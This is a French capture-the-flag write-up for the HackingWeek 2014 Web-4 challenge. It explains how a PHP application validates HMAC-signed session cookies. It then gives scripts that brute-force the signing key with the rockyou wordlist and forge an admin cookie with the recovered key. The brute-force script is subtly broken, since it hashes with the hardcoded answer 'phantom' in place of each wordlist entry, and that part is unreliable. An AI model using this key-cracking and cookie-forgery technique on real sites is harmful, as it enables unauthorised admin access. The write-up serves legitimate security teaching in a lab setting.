HackingWeek 2014 - Web-4

Code source disponible pour cette épreuve : https://repo.zenk-security.com/hackingweek2014_ctf/web4.zip

Le but de cette épreuve est de se retrouver authentifier sur la page auth.php, pour cela, il faut avoir un cookie valide, mais c'est quoi un cookie valide ?

(isset($_COOKIE['PHPSESSID2'])) or die("Oops! This page appears broken - Access error.");

$user = User::CreateFromCookie($_COOKIE['PHPSESSID2']);

if (($user == null) OR ($user->IsAdmin() === false))
	die("Oops! This page appears broken - Access error.");
	
echo "Success! The password is \"" . $secretpassword4 . "\".";

Allons voir la fonction CreateFromCookie.

public static function CreateFromCookie($cookie)
{
	global $hash_secret;
	
	$temp = explode(urlencode("  "), $cookie, 2);
	
	if (count($temp) != 2)
		return null;

	$cookie = $temp[0];
	$sign = $temp[1];

	if (hash_hmac('sha256', $cookie, $hash_secret) != $sign)
		return null;

	$cookie = urldecode($cookie);
	$cookie = base64_decode($cookie);
	$cookie = explode("::", $cookie, 4);
	
	if (count($cookie) != 4)
		return null;

	$_id 		= htmlspecialchars($cookie[0], ENT_QUOTES);
	$_username 	= htmlspecialchars($cookie[1], ENT_QUOTES);
	$_password 	= htmlspecialchars($cookie[2], ENT_QUOTES);
	$_admin 	= htmlspecialchars($cookie[3], ENT_QUOTES);

	$user = new User($_id, $_username, $_password, $_admin);
	
	return $user;
}

Chaque cookie est signé avec un hmac en sha256 du cookie avec une clef inconnu. On connait déjà un couple $cookie et le résultat du hmac, plus qu'à faire un bête bruteforce par dictionnaire.

<?php
	// 1::kevin12::bdbcddd194e30720adeebc71e3500abe::0
	$data   = 'MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%3D';
	$handle = fopen('rockyou.txt', 'r');
	
	if ($handle) {
		while (($line = fgets($handle)) !== false) {
			$secret = trim($line);
			$hash   = hash_hmac('sha256', $data, 'phantom');
			
			if ($hash == '5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39') {
				die($secret);
			}
		}
	}
	else {
		echo('Cannot open wordlist...');
	}
	
	/*
		PHPSESSID2=MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%253D%2B%2B5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39
		
		MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%3D
		5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39
	*/
?>

Ce fichier nous donne phantom comme $hash_secret, on a trouvé la clef. Reste plus qu'à chiffrer un compte :)

<?php
	// MTMzNzo6dGFwejo6MmM0NzEzMTNmMDYzNzBkMDg2NmRiMWZhY2IzNDY2OGU6OjE%3D++8ce1d10d87351827e0435d8099614ec34f90986cf28fef2ca6c36db42b71cc53
	// 1337::tapz::2c471313f06370d0866db1facb34668e::1
	// id::username::password::admin
	// tapz:tapz
	
	$hash = hash_hmac('sha256', 'MTMzNzo6dGFwejo6MmM0NzEzMTNmMDYzNzBkMDg2NmRiMWZhY2IzNDY2OGU6OjE%3D', 'phantom');
	
	echo($hash);
?>

On se connecte avec tapz:tapz et le flag est à nous !